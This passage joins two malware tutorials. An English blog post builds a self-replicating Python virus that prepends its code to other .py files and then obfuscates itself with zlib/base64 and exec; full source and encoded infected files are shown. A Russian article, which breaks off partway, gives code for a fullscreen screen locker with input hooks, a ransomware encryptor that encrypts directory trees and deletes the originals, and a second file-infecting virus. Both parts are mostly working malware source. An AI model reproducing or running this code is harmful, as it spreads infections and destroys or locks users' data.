            infected_file.write("".join(virus_code))
            infected_file.writelines(data)

Now, all we need is to add the payload. Since we don’t want to do anything that can harm the system, let’s just create a function that prints out something to the console.

def summon_chaos():
  # the virus payload
  print("We are sick, fucked up and complicatednWe are chaos, we can't be cured")

Ok, our virus is ready! Let’s see the full source code:

# begin-virus

import glob

def find_files_to_infect(directory = "."):
    return [file for file in glob.glob("*.py")]

def get_content_of_file(file):
    data = None
    with open(file, "r") as my_file:
        data = my_file.readlines()

    return data

def get_content_if_infectable(file):
    data = get_content_of_file(file)
    for line in data:
        if "# begin-virus" in line:
            return None
    return data

def infect(file, virus_code):
    if (data:=get_content_if_infectable(file)):
        with open(file, "w") as infected_file:
            infected_file.write("".join(virus_code))
            infected_file.writelines(data)

def get_virus_code():

    virus_code_on = False
    virus_code = []

    code = get_content_of_file(__file__)

    for line in code:
        if "# begin-virusn" in line:
            virus_code_on = True

        if virus_code_on:
            virus_code.append(line)

        if "# end-virusn" in line:
            virus_code_on = False
            break

    return virus_code

def summon_chaos():
    # the virus payload
    print("We are sick, fucked up and complicatednWe are chaos, we can't be cured")

# entry point 

try:
    # retrieve the virus code from the current infected script
    virus_code = get_virus_code() 

    # look for other files to infect
    for file in find_files_to_infect():
        infect(file, virus_code)

    # call the payload
    summon_chaos()

# except:
#     pass

finally:
    # delete used names from memory
    for i in list(globals().keys()):
        if(i[0] != '_'):
            exec('del {}'.format(i))

    del i

# end-virus

Let’s try it putting this virus in a directory with just another .py file and let see if the infection starts. Our victim will be a simple program named [numbers.py](http://numbers.py) that returns some random numbers, like this:

 # numbers.py

import random

random.seed()

for _ in range(10):
  print (random.randint(0,100))

When this program is executed it returns 10 numbers between 0 and 100, super useful! LOL!

Now, in the same directory, I have my virus. Let’s execute it:

/playgrounds/python/first ❯ python ./first.py                                                                          02:30:42 PM
We are sick, fucked up and complicated
We are chaos, we can't be cured

As you can see, our virus has started and has executed the payload. Everything is fine, but what happened to our [numbers.py](http://numbers.py) file? It should be the victim of the infection, so let’s see its code now.

# begin-virus

import glob

def find_files_to_infect(directory = "."):
    return [file for file in glob.glob("*.py")]

def get_content_of_file(file):
    data = None
    with open(file, "r") as my_file:
        data = my_file.readlines()

    return data

def get_content_if_infectable(file):
    data = get_content_of_file(file)
    for line in data:
        if "# begin-virus" in line:
            return None
    return data

def infect(file, virus_code):
    if (data:=get_content_if_infectable(file)):
        with open(file, "w") as infected_file:
            infected_file.write("".join(virus_code))
            infected_file.writelines(data)

def get_virus_code():

    virus_code_on = False
    virus_code = []

    code = get_content_of_file(__file__)

    for line in code:
        if "# begin-virusn" in line:
            virus_code_on = True

        if virus_code_on:
            virus_code.append(line)

        if "# end-virusn" in line:
            virus_code_on = False
            break

    return virus_code

def summon_chaos():
    # the virus payload
    print("We are sick, fucked up and complicatednWe are chaos, we can't be cured")

# entry point 

try:
    # retrieve the virus code from the current infected script
    virus_code = get_virus_code() 

    # look for other files to infect
    for file in find_files_to_infect():
        infect(file, virus_code)

    # call the payload
    summon_chaos()

# except:
#     pass

finally:
    # delete used names from memory
    for i in list(globals().keys()):
        if(i[0] != '_'):
            exec('del {}'.format(i))

    del i

# end-virus
# numbers.py

import random

random.seed()

for _ in range(10):
  print (random.randint(0,100))

And as expected, now we have our virus before the real code.

Let’s create another .py file in the same directory, just a simple “hello world” program:

/playgrounds/python/first ❯ echo 'print("hello world")' > hello.py

and now, let’s execute the [numbers.py](http://numbers.py) program:

/playgrounds/python/first ❯ python numbers.py                                                                          02:35:12 PM
We are sick, fucked up and complicated
We are chaos, we can't be cured
35
43
89
37
92
71
4
21
83
47

As you can see, the program still does whatever it was expected to do (extract some random numbers) but only after having executed our virus, which has spread to other *.py files in the same directory and has executed the payload function. Now, if you look at the [hello.py](http://hello.py) file, you will see that it has been infected as well, as we can see running it:

/playgrounds/python/first ❯ python hello.py                                                                            02:40:01 PM
We are sick, fucked up and complicated
We are chaos, we can't be cured
hello world

Trying to hide the virus code a little more

Now, even if this virus could be potentially dangerous, it is easily detectable. You don’t have to be Sherlock Holmes to recognize a virus that is written in plain text and starts with # begin-virus, right?

So what can we do to make it a little harder to find?

Not much more, since we’re writing it in Python and Python is an interpreted language… however, maybe we can still do something.

For example, wouldn’t it be better if we could consider as infected any single file that contains the md5 hash of its name as a comment?

Our virus could start with something like # begin-78ea1850f48d1c1802f388db81698fd0 and end with something like # end-78ea1850f48d1c1802f388db81698fd0 and that would be different for any infected file, making it more difficult to find all the infected files on the system.

So our get_content_if_infectable() function could be modified like this:

def get_content_if_infectable(file, hash):
    # return the content of a file only if it hasn't been infected yet
  data = get_content_of_file(file)

  for line in data:
    if hash in line:
      return None

  return data

Obviously, before calling it you should calculate the hash of the file you’re going to infect like this:

hash = hashlib.md5(file.encode("utf-8")).hexdigest()

and also the get_virus_code() function should be modified to look for the current script hash:

def get_virus_code():
  # open the current file and returns the virus code, that is the code between the
  # begin-{hash} and the end-{hash} tags
  virus_code_on = False
  virus_code = []

  virus_hash = hashlib.md5(os.path.basename(__file__).encode("utf-8")).hexdigest()
  code = get_content_of_file(__file__)

  for line in code:
    if "# begin-" + virus_hash in line:
      virus_code_on = True

    if virus_code_on:
      virus_code.append(line + "n")

    if "# end-" + virus_hash in line:
      virus_code_on = False
      break

  return virus_code

And what about our virus source code? Can it be obfuscated somehow to be a little less easy to spot?

Well, we could try to obscure it by making it different every time we infect a new file, then we can compress it by using the zlib library and converting it in base64 format. We could just pass our plain text virus to a new transform_and_obscure_virus_code() function like this:

def obscure(data: bytes) -> bytes:
    # obscure a stream of bytes compressing it and encoding it in base64
    return base64.urlsafe_b64encode(zlib.compress(data, 9))

def transform_and_obscure_virus_code(virus_code):
    # transforms the virus code adding some randomic contents, compressing it and converting it in base64
  new_virus_code = []
  for line in virus_code:
    new_virus_code.append("# "+ str(random.randrange(1000000))+ "n")
    new_virus_code.append(line + "n")

  obscured_virus_code = obscure(bytes("".join(new_virus_code), 'utf-8'))
  return obscured_virus_code

Obviously, when you obscure your virus compressing it and encoding it in base64 the code is not executable anymore, so you will have to transform it to the original state before executing it. This will be done in the infect method, by using the exec statement like this:

def infect(file, virus_code):
  # infect a single file. The routine opens the file and if it's not been infected yet, infect the file with a custom version of the virus code
  hash = hashlib.md5(file.encode("utf-8")).hexdigest()

  if (data:=get_content_if_infectable(file, hash)):
    obscured_virus_code = transform_and_obscure_virus_code(virus_code)
    viral_vector = "exec("import zlib\nimport base64\nexec(zlib.decompress(base64.urlsafe_b64decode("+str(obscured_virus_code)+")))")"

    with open(file, "w") as infected_file:
      infected_file.write("n# begin-"+ hash + "n" + viral_vector + "n# end-" + hash + "n")
      infected_file.writelines(data)

The complete source code of our new virus could be similar to this:

# ################
# chaos.py
# a Python virus
# ###############

# begin-78ea1850f48d1c1802f388db81698fd0

import base64
import glob
import hashlib
import inspect
import os
import random
import zlib

def get_content_of_file(file):
  data = None
    # return the content of a file
  with open(file, "r") as my_file:
    data = my_file.readlines()

  return data
  
def get_content_if_infectable(file, hash):
    # return the content of a file only if it hasn't been infected yet
  data = get_content_of_file(file)

  for line in data:
    if hash in line:
      return None

  return data

def obscure(data: bytes) -> bytes:
    # obscure a stream of bytes compressing it and encoding it in base64
    return base64.urlsafe_b64encode(zlib.compress(data, 9))

def transform_and_obscure_virus_code(virus_code):
    # transforms the virus code adding some randomic contents, compressing it and converting it in base64
  new_virus_code = []
  for line in virus_code:
    new_virus_code.append("# "+ str(random.randrange(1000000))+ "n")
    new_virus_code.append(line + "n")

  obscured_virus_code = obscure(bytes("".join(new_virus_code), 'utf-8'))
  return obscured_virus_code

def find_files_to_infect(directory = "."):
  # find other files that can potentially be infected 
  return [file for file in glob.glob("*.py")]

def summon_chaos():
  # the virus payload
  print("We are sick, fucked up and complicatednWe are chaos, we can't be cured")

def infect(file, virus_code):
  # infect a single file. The routine open the file and if it's not been infected yet, infect the file with a custom version of the virus code
  hash = hashlib.md5(file.encode("utf-8")).hexdigest()

  if (data:=get_content_if_infectable(file, hash)):
    obscured_virus_code = transform_and_obscure_virus_code(virus_code)
    viral_vector = "exec("import zlib\nimport base64\nexec(zlib.decompress(base64.urlsafe_b64decode("+str(obscured_virus_code)+")))")"

    with open(file, "w") as infected_file:
      infected_file.write("n# begin-"+ hash + "n" + viral_vector + "n# end-" + hash + "n")
      infected_file.writelines(data)

def get_virus_code():
  # open the current file and returns the virus code, that is the code between the
  # begin-{hash} and the end-{hash} tags
  virus_code_on = False
  virus_code = []

  virus_hash = hashlib.md5(os.path.basename(__file__).encode("utf-8")).hexdigest()
  code = get_content_of_file(__file__)

  for line in code:
    if "# begin-" + virus_hash in line:
      virus_code_on = True

    if virus_code_on:
      virus_code.append(line + "n")

    if "# end-" + virus_hash in line:
      virus_code_on = False
      break

  return virus_code

# entry point

try:
  # retrieve the virus code from the current infected script
  virus_code = get_virus_code()

  # look for other files to infect
  for file in find_files_to_infect():
    infect(file, virus_code)

  # call the payload
  summon_chaos()

except:
  pass

finally:
  # delete used names from memory
  for i in list(globals().keys()):
      if(i[0] != '_'):
          exec('del {}'.format(i))

  del i

# end-78ea1850f48d1c1802f388db81698fd0

Now, let’s try this new virus in another directory with the uninfected version of [numbers.py](http://numbers.py) and [hello.py](http://hello.py), and let’s see what happens.

/playgrounds/python/chaos ❯ python chaos.py                                                                            03:09:52 PM
We are sick, fucked up and complicated
We are chaos, we can't be cured

Executing the virus we have the same behavior as we had before, but our infected files are now a little different than before… This is [numbers.py](http://numbers.py) :

# begin-661bb45509227577d3693829a1e1cb33
exec("import zlibnimport base64nexec(zlib.decompress(base64.urlsafe_b64decode(b'eNqVWMty47oRXUtfgdALkxkNC2-AU-Uss8zqVmUxvsWiRNBmLJEqkhqPc-v-expAk5JsOZmoaqwHmo2Dfpw-mDtSWM6MWt-RrXtqu6_GuopZRRtpa7ZjlvJGWFtvLdOFbWq6XoOpKKhldh0-S8YMtev2cOyHiWyr0WkZFhjjtFDzwtO-38afjTF2-fm5Gp_3bVzRtDCsmFfabjy63RRWOKXMsnmlH-OP1moj5h-Hqqv7A6IT0sp54d-ze2WE0iyCVkxxIda1a8iTm8pd302um8q-KZt271L_J_sW4SpBpVyv6mqqyAP5R9-5uLtmUuo1gdcdGdx0GjoyPTuCrkjfkIp4PxESV0KJ9eq1nZ5Jf3Rd2GJDkiHJSDWSw1vY-BsaF5SB8bwnLuaDq-p927kxzYKdKYQymAUutdR2vUIk_kmMqTFw6FX4YgvOBf9w6rYp266BWFdbPPsm5AUjYFRhDf-Fk5K-27-RtiFtyGt3D-XgXEeic1eTNxfTWVhhuF1i-mkGcHsuaBFPWRjFqFqvmn4gPhLgOhw1ApVC2QLcrgCCx-9XvRVGVUtmC1idY7SkUiomuI47CKoKfiOO4FowtNFaWSZDGPvtuDsNLg0gyPZtcmNGvv4tfkJUWkhNMXxoDwEbJ0jnwQcv2EI0D8fBjWPbPfn4QTUT1-36Gr_DUS5aq2CSSht8ItC4mJ-G_Vg1rtxqGZ52qS__fHYecG5IkWXYoaLgGFoF4QGX_lAT9NIIIT6UgKJEyOWPdjiNZfB5_jiXCBdmKZHl8TGUSTAm3phUdTjO2B8c9mu7m8to3NwKASz-cMN0MwhCMs6hGDr3egEO6un773HdckPFdbGc7RC4VApSv3rnJK-O0KN1mtyR5ItPVRrh5v4N_j25lNHwyrIvJHnskrlWNYXK-MxdQHFpr5meGUly4DMoPAx3fX2kuc5CraRJkv-rb7v0epdsQ-5PU_PV3mN6_dEKs9TyDc-RFXShgKdjRUjKIKa-CpoWku_bcCynHgkirdsB3vrhDTAleTJzJMwLINzVXXiI9JD2ITCCr4BqIruqI8feZ7mt9kARW3fmBEwVcJlekH4PbOLzFj5A3vz0yP2fNPlrfnxLsphiXTAuJXIDDDLDAvTxdDj0Xbl7rnrgSsTIgf2ox3guymP1tu-rOsafSuUhHIe2m9Lkn1Ct0Kdju3vZkOa0ewGopyPW5OG4b3cVoH_s0C5stSGvzp818B4JscY8c8qNwT4TnsQCTIxpJNwPPWW14L4g7tDOcwb0gQ-MHwbkNzjG0J8mX1N-ooRzhXh5kIGF70fS9TdIeDO7XB4Jc6kCzOPUHwi03Nj2nSen6w5e5i4EKjDswzzA80Otwkly5J0klGKSZfmz-1m3T26ccGzJAgTAzDpUURAfnrEjhz780mDCEBUm0ODqk6b5f3gMBwFgAzQrWKj25Y9Q6r7S3U-3Sx-TC0Xx-NhdKR74HowC3dZuIdyPvOwXfXy-eFq5ATz7AkHLHpMswd6ygvMYLaNBwHi2-iAjXqOMmJN8KSYol9yLidXVYv46tBOgeOxm4QdEF1Ia-QneroIQfr2DkVR_9WsXlljhShf0s22iaPH5RWPGKGDC1rBnRXKRG0wxjCXOlO-CpcYhYIPXHUutR9Z4P202kXvaEcUKlMTWTa8ueon0oZjhxjuPIfjDH-vP4NM_4w-LP03VUxSdoIKDHDwjLaFRHsjfq_2IdKqoFvbS4jySNKUwZbH0DVfSzHY3uqkf82M1Pee-hLrq4NIyhLQss__dYwyo0ADb4fa3FNbiLSITwOCob2Ag-KRcDc7zyPQsy1BlJUvxxHqZD3IlvCSMFyDm1epD0H4bTg4FIehBpARNrZXo_-qBbwhUKiqvvX06X5lmBc5XYaURZ9hzIX8GGsYRC1TwXzLN4XJUBChb0HIv8Tl4jOGWhQLlrJap9m7sGg4yn2ItgHY32BAwTGW4j0GyYM4eYdBPs1iwVMwpYoWSazDANqFwOOYrGTYbWvfDvddezQDEftk-y0AYd0N7xHuWUSCw39Xu-8ZEWhFUY8ZAkrPYRvu-fwlz-0oC9LhXRGotU6jK5ul-U2rMBGAZ12Y988rHaRnjYUWh8CoEMkoY7eHsQG2EM18OemWVgdCtrkUCyoliuSFyuFwptXY_d-44oYSAIlUA5ViNSAZFAZSMydb-6rCGo3iJs1xImA7kVbu9mxw5jRBv38tjzMfBHUBLxefhymdpjEsbaxG62UseqLc0y1_cG7xhUODGziSk2wvutknb7_R38pcHcl_enxUZj8v-FSbTPWAgf_x5n_uJWE1piyoRigrcoQilBlQHXMzAtJ3litZ2vjRrDjeZ2Dy_8P8E_wH6PJBm')))")
# end-661bb45509227577d3693829a1e1cb33
# numbers.py

import random

random.seed()

for _ in range(10):
  print (random.randint(0,100))

and this is

# begin-8d35108ffe2ad173a697734a3e9938e1
exec("import zlibnimport base64nexec(zlib.decompress(base64.urlsafe_b64decode(b'eNqVWEtv20YQPku_YksfTDUKwX3vFnCPPfYUoIc4IChxabOWSIGk4rhB_3tn9iFLfrSpgVgydzj8ZuabmY-5IlaUVJvlFdm4u67_qI2rqZFlK0xDt9SUrOXGNBtDlTVtUy6XYGqUNlQs_XeqBVd62e0PwziTTT05JfwBo1zRdP1uN2z8VcWsNiJdvq-n-123iY7gBptOun46uO0cPCkuGEsnw-QvCqv46bFj3TfDPrhRQojTwV_Ju7WA0wbIRjOm5LJxLblzc7Ud-tn1czW0VdvtXI6_Vr94S62FgXAWTT3X5Ib8PvTOX-faYNAEfq7I6Obj2JP53pHoigwtqQn6CfitltQsF4_dfE-Gg-v9I9YkG7MVqSeyf_IPDo-kEKphy0V6ZjwsRlc3u653U76KASlZxhrIUlGqlouIBO8MydaUgs0iYDbSQtFeRt21Vde3kOp6E2Nf-7LEDFBemvIHAiVDv3siXUs6X9X-GrjgXE-Cb9eQJxeKKaSxUMwU3rsFCJXipjSxaFJCAMtFO4wE8wCefaABpmSGWg1ZAwSIHk_RKpxyJa2FexcpQ6dCMq41sDRRRJX8dRalYUKV0UZorplP4rCZtsfR5R4E2TzNblqRj7-Gb-G5SjCpVcxetId8TTMUc4-587aQzP1hdNPU9XeYPuAycf12aOLfEMpZWxkpUkUi0HBYHMfdVLeu2ijh73Y5kr9Izj3ONbGrkFltKaYzBFUa8IgxzdBIE2R4XwGIKiKuvnbjcaq8y-evkR9cWF6mEE-3T54k3pigMakbH8007F1s1m6bSDSt38oAHH514_xmDii1JVRk0bvHM3DAps9fQsWgqEpdcuXZLgBnWmkkzKWPoj5AfzZ5dkWyD1ioPKAt8AP-3bmclv5ntfpAsts-C-nkVmuj3nXnQZzbS0qljumnMIGBg4uY7uYypEQzT5U8y4o_h67PLx-zWpPr49x-NNexulaX1jxT-Q3PwcxwbmVAoQ0wm3oWtB0UH5twquYhToe86Ub4GMYnwJQVWSq_VUbCg678TWSAso9-HiAD6pls654cBqxyV-9gQGzc80SIpWJMihPSz36WYN38F6gbbo4Cf-XZz8XhKVt9ia1VKpXmOewmrjz06bjfD321va8HGJSx0qWMGJ9JeaifdkPdxJVkGNRicRi7fs6zP4Ct0KZTt31Yk_a4fQCox0Pk5P6w67Y1oL_to51_1Jo8OozVTz3icx0LzWDhmYhTc-i5kOKY1DBuXzWVkQZ7HBAHO5wZ0AiYGVwF5BPEMQ7HGVmF-8QH5hOGKP0Qvp5IP7wxg9fJ5ekWv5VqAD3Nw55Az03d0ONwumzhEEHJYXAsF37E3qT1Xewb6UMp4uDJPBmz1aq4d9-a7s5Nc9xaRkCt4iyVVnIoG47sMERvfmgvpdWsDGNAnHfa5v9MsrhDYSLgjoCDeld99WRHrrtvbpvfZmeC4va2v5A78Lc38vO2caeJ-3ow4yHm5wNOljeArz5A0la32SoLmEQpYKvFTqO6xAnzSkU8BhWRqnymJTSIBCFx710cFo9jNwOK2z6pPph1vqRhRMHHRRL81SvYSc1HPDuzTMNPMvneY4JmwfoGY-hbwSMDmGXCmJMkOatOLLK1QjDfuieaQ8pGVB4nuofJ8XLjrMP86aYoV4AUGzc_uuAlqlgJcxydhyR8x8D-9j7xHgw3XprruykuDa5K4P8z0gp65Yb8Vu-m4JRKwTk7tzhbS0YoEWeB0tKKZPZGOw1Tcajn-wI51Nd7l1c-p1W1-u8mg66iHOoRn_6WxDp5izwDEZT2gKKgcS535_PWxNrhKTZtdmJPIEwK5EJ6WcgG99LrZc4-jceYstIqGlUeaHqQ3MH_xQ1xlHNjcZSfe3t3x0IpTNpuSiqmTrATk98DrSXz1v9SZ2ENQ5yLDWi5h_A8q0AeplcMKDA9rbUXe1dSZniyBDmnIkpuBLQr4pthzx5g0c-JLMJGlSo1Z8AcMAhYhfIaeeHl-di5r-6l9mpHmOvnrXPaB9N27A7xHYuDCnzJ25dNGUWD5FJFwMxvXnj4bhge_N6-kABDfFZ8IdSGlYFZabu_KTVS8xvQJF7Tv7Mso3oSHCgRyabhNQ_hbEFt-JgvFr2C_gOHlyIhHYn0pkEhPpAk7tvWHeYoczSscZQI9TTFbQGX4tuXshLU1hJCQYkT-6QUQD5E0ridmx05TpBvbOQp1GPv9qClgnMJwkuEvHSBiNDKKHmAbfmqeHBP8JHex2DpYcZRcHdt3n0uv5Cfbsh1dZ0MhKHMBgP88ZvpGlCQ739fF7gR6znv0lsAcLZkkYggkzj0Fpp2IQjIrYqpNajyQ-f8wH8R_APeFJAZ')))")
# end-8d35108ffe2ad173a697734a3e9938e1
print("hello world")

Look at that, it’s not so easy to be read now, right? And every infection is different than the other one! Moreover, every time the infection is propagated, the compressed byte64 virus is compressed and encoded again and again.

And this is just a simple example of what one could do… for example, the virus could open the target and put this piece of code at the beginning of a random function, not always at the beginning of the file, or put it in another file and make just a call to this file with a malicious import statement or so…

To sum up

In this article, we have seen that writing a computer virus in Python is a trivial operation, and even if it’s probably not the best language to be used for writing viruses… it’s worth keeping your eyes wide open, especially on a production server. :)

Happy coding!

D.


Did you find this article helpful?
Buy me a coffee!Buy me a coffee!


Как написать локер, шифровальщик и вирус на Python

Содержание

  • 1 Как написать локер, шифровальщик и вирус на Python
    • 1.1 Настройка среды
    • 1.2 Создание локера
    • 1.3 Создание шифровальщика
    • 1.4 Создание вируса
    • 1.5 Создание исполняемого файла
  • 2 Итого

Почему кому-то может прийти в голову писать малварь на Python? Мы сделаем это, чтобы изучить общие принципы вредоносостроения, а заодно вы попрактикуетесь в использовании этого языка и сможете применять полученные знания в других целях. К тому же вредонос на Python таки попадается в дикой природе, и далеко не все антивирусы обращают на него внимание.

Еще по теме: Как написать кейлоггер на C#

Чаще всего Python применяют для создания бэкдоров в софте, чтобы загружать и исполнять любой код на зараженной машине. Так, в 2017 году сотрудники компании Dr.Web обнаружили Python.BackDoor.33, а 8 мая 2019 года был замечен Mac.BackDoor.Siggen.20. Другой троян — RAT Python крал пользовательские данные с зараженных устройств и использовал Telegram в качестве канала передачи данных.

Мы же создадим три демонстрационные программы: локер, который будет блокировать доступ к компьютеру, пока пользователь не введет правильный пароль, шифровальщик, который будет обходить директории и шифровать все лежащие в них файлы, а также вирус, который будет распространять свой код, заражая другие программы на Python.

Как написать локер, шифровальщик и вирус на Python

Несмотря на то что наши творения не претендуют на сколько-нибудь высокий технический уровень, они в определенных условиях могут быть опасными. Поэтому предупреждаю, что за нарушение работы чужих компьютеров и уничтожение информации может последовать строгое наказание. Давайте сразу договоримся: запускать все, что мы здесь описываем, вы будете только на своей машине, да и то осторожно — чтобы случайно не зашифровать себе весь диск.


Вся информация предоставлена исключительно в ознакомительных целях. Ни автор, ни редакция не несут ответственности за любой возможный вред, причиненный материалами данной статьи.

Настройка среды

Итак, первым делом нам, конечно, понадобится сам Python, причем третьей версии. Не буду детально расписывать, как его устанавливать, и сразу отправлю вас скачивать бесплатную книгу «Укус питона» (PDF). В ней вы найдете ответ на этот и многие другие вопросы, связанные с Python.

Дополнительно установим несколько модулей, которые будем использовать:

pip install pyAesCrypt

pip install pyautogui

pip install tkinter

На этом с подготовительным этапом покончено, можно приступать к написанию кода.

Создание локера

Идея — создаем окно на полный экран и не даем пользователю закрыть его.

Импорт библиотек:

import pyautogui

from tkinter import Tk, Entry, Label

from pyautogu соi import click, moveTo

from time import sleep

Теперь возьмемся за основную часть программы.

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

# Создаем окно

root = Tk()

# Вырубаем защиту левого верхнего угла экрана

pyautogui.FAILSAFE = False

# Получаем ширину и высоту окна

width = root.winfo_screenwidth()

height = root.winfo_screenheight()

# Задаем заголовок окна

root.title(‘From «hacker» with love’)

# Открываем окно на весь экран

root.attributes(«-fullscreen», True)

# Создаем поле для ввода, задаем его размеры и расположение

entry = Entry(root, font=1)

entry.place(width=150, height=50, x=width/275, y=height/225)

# Создаем текстовые подписи и задаем их расположение

label0 = Label(root, text=«╚(•⌂•)╝ Locker by hacker (╯°□°)╯︵ ┻━┻», font=1)

label0.grid(row=0, column=0)

label1 = Label(root, text=«Пиши пароль и жми Ctrl + C», font=‘Arial 20’)

label1.place(x=width/275130, y=height/225100)

# Включаем постоянное обновление окна и делаем паузу

root.update()

sleep(0.2)

# Кликаем в центр окна

click(width/2, height/2)

# обнуляем ключ

k = False

# Теперь непрерывно проверяем, не введен ли верный ключ

# Если введен, вызываем функцию хулиганства

while not k:

    on_closing()

Здесь pyautogui.FAILSAFE = False — защита, которая активируется при перемещении курсора в верхний левый угол экрана. При ее срабатывании программа закрывается. Нам это не надо, поэтому вырубаем эту функцию.

Чтобы наш локер работал на любом мониторе с любым разрешением, считываем ширину и высоту экрана и по простой формуле вычисляем, куда будет попадать курсор, делаться клик и так далее. В нашем случае курсор попадает в центр экрана, то есть ширину и высоту мы делим на два. Паузу (sleep) добавим для того, чтобы пользователь мог ввести код для отмены.

Сейчас мы не блокировали ввод текста, но можно это сделать, и тогда пользователь никак от нас не избавится. Для этого напишем еще немного кода. Не советую делать это сразу. Сначала давайте настроим программу, чтобы она выключалась при вводе пароля. Но код для блокирования клавиатуры и мыши выглядит вот так:

import pythoncom, pyHook

hm = pyHook.HookManager()

hm.MouseAll = uMad

hm.KeyAll = uMad

hm.HookMouse()

hm.HookKeyboard()

pythoncom.PumpMessages()

Создадим функцию для ввода ключа:

def callback(event):

    global k, entry

    if entry.get() == «hacker»:

        k = True

Тут всё просто. Если ключ не тот, который мы задали, программа продолжает работать. Если пароли совпали — тормозим.

Последняя функция, которая нужна для работы окна-вредителя:

def on_closing():

    # Кликаем в центр экрана

    click(width/2, height/2)

    # Перемещаем курсор мыши в центр экрана

    moveTo(width/2, height/2)

    # Включаем полноэкранный режим

    root.attributes(«-fullscreen», True)

    # При попытке закрыть окно с помощью диспетчера задач вызываем on_closing

    root.protocol(«WM_DELETE_WINDOW», on_closing)

    # Включаем постоянное обновление окна

    root.update()

    # Добавляем сочетание клавиш, которые будут закрывать программу

    root.bind(‘<Control-KeyPress-c>’, callback)

На этом наш импровизированный локер готов.

Создание шифровальщика

Этот вирус мы напишем при помощи только одной сторонней библиотеки — pyAesCrypt. Идея — шифруем все файлы в указанной директории и всех директориях ниже. Это важное ограничение, которое позволяет не сломать операционку. Для работы создадим два файла — шифратор и дешифратор. После работы исполняемые файлы будут самоудаляться.

Сначала запрашиваем путь к атакуемому каталогу и пароль для шифрования и дешифровки:

direct = input(«Напиши атакуемую директорию: «)

password = input(«Введи пароль: «)

Дальше мы будем генерировать скрипты для шифрования и дешифровки. Выглядит это примерно так:

with open(«Crypt.py», «w») as crypt:

    crypt.write(»

    текст программы

    ‘»)

Переходим к файлам, которые мы будем использовать в качестве шаблонов. Начнем с шифратора. Нам потребуются две стандартные библиотеки:

Пишем функцию шифрования (все по мануалу pyAesCrypt):

def crypt(file):

    import pyAesCrypt

    print(‘-‘ * 80)

    # Задаем пароль и размер буфера

    password = «»’+str(password)+»'»

    buffer_size = 512*1024

    # Вызываем функцию шифрования

    pyAesCrypt.encryptFile(str(file), str(file) + «.crp», password, buffer_size)

    print(«[Encrypt] ‘»+str(file)+«.crp'»)

    # Удаляем исходный файл

    os.remove(file)

Вместо str(password) скрипт-генератор вставит пароль.

Важные нюансы. Шифровать и дешифровать мы будем при помощи буфера, таким образом мы избавимся от ограничения на размер файла (по крайней мере, значительно уменьшим это ограничение). Вызов os.remove(file) нужен для удаления исходного файла, так как мы копируем файл и шифруем копию. Можно настроить копирование файла вместо удаления.

Теперь функция, которая обходит папки. Тут тоже ничего сложного.

def walk(dir):

    # Перебор всех подпапок в указанной папке

    for name in os.listdir(dir):

        path = os.path.join(dir, name)

        # Если это файл, шифруем его

        if os.path.isfile(path):

            crypt(path)

        # Если это папка, рекурсивно повторяем

        else:

            walk(path)

В конце добавим еще две строки. Одна для запуска обхода, вторая — для самоуничтожения программы.

walk(«»’+str(direct)+»'»)

os.remove(str(sys.argv[0]))

Здесь снова будет подставляться нужный путь.

Вот весь исходник целиком.

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

import os

import sys

def crypt(file):

    import pyAesCrypt

    print(‘-‘ * 80)

    password = «‘»+str(password)+«‘»

    buffer_size = 512*1024

    pyAesCrypt.encryptFile(str(file), str(file) + «.crp», password, buffer_size)

    print(«[Encrypt] ‘»+str(file)+«.crp'»)

    os.remove(file)

def walk(dir):

    for name in os.listdir(dir):

        path = os.path.join(dir, name)

        if os.path.isfile(path):

            crypt(path)

        else:

            walk(path)

walk(«»’+str(direct)+»'»)

print(‘-‘ * 80)

os.remove(str(sys.argv[0]))

Теперь «зеркальный» файл. Если в шифровальщике мы писали encrypt, то в дешифраторе пишем decrypt. Повторять разбор тех же строк нет смысла, поэтому сразу финальный вариант.

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

import os

import sys

# Функция расшифровки

def decrypt(file):

    import pyAesCrypt

    print(‘-‘ * 80)

    password = «»’+str(password)+»'»

    buffer_size = 512 * 1024

    pyAesCrypt.decryptFile(str(file), str(os.path.splitext(file)[0]), password, buffer_size)

    print(«[Decrypt] ‘» + str(os.path.splitext(file)[0]) + «‘»)

    os.remove(file)

# Обход каталогов

def walk(dir):

    for name in os.listdir(dir):

        path = os.path.join(dir, name)

        if os.path.isfile(path):

            try:

                decrypt(path)

            except Error:

                pass

        else:

            walk(path)

walk(«»’+str(direct)+»'»)

print(‘-‘ * 80)

os.remove(str(sys.argv[0]))

Итого 29 строк, из которых на дешифровку ушло три. На случай, если какой-то из файлов вдруг окажется поврежденным и возникнет ошибка, пользуемся отловом исключений (try…except). То есть, если не получиться расшифровать файл, мы его просто пропускаем.

Создание вируса

Здесь идея в том, чтобы создать программу, которая будет заражать другие программы с указанным расширением. В отличие от настоящих вирусов, которые заражают любой исполняемый файл, наш будет поражать только другие программы на Python.

На этот раз нам не потребуются никакие сторонние библиотеки, нужны только модули sys и os. Подключаем их.

Создадим три функции: сообщение, парсер, заражение.

Функция, которая сообщает об атаке:

def code(void):

    print(«Infected»)

Сразу вызовем ее, чтобы понять, что программа отработала:

Обход директорий похож на тот, что мы делали в шифровальщике.

def walk(dir):

    for name in os.listdir(dir):

        path = os.path.join(dir, name)

        # Если нашли файл, проверяем его расширение

        if os.path.isfile(path):

            # Если расширение — py, вызываем virus

            if (os.path.splitext(path)[1] == «.py»):

                virus(path)

            else:

                pass

        else:

            # Если это каталог, заходим в него

            walk(path)


В теории мы могли бы таким же образом отравлять исходники и на других языках, добавив код на этих языках в файлы с соответствующими расширениями. А в Unix-образных системах скрипты на Bash, Ruby, Perl и подобном можно просто подменить скриптами на Python, исправив путь к интерпретатору в первой строке.

Вирус будет заражать файлы «вниз» от того каталога, где он находится (путь мы получаем, вызвав os.getcwd()).

В начале и в конце файла пишем вот такие комментарии:

Чуть позже объясню зачем.

Дальше функция, которая отвечает за саморепликацию.

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

def virus(python):

    begin = «# START #n»

    end = «# STOP #n»

    # Читаем атакуемый файл, назовем его copy

    with open(sys.argv[0], «r») as copy:

        # Создаем флаг

        k = 0

        # Создаем переменную для кода вируса и добавляем пустую строку

        virus_code = «n»

        # Построчно проходим заражаемый файл

        for line in copy:

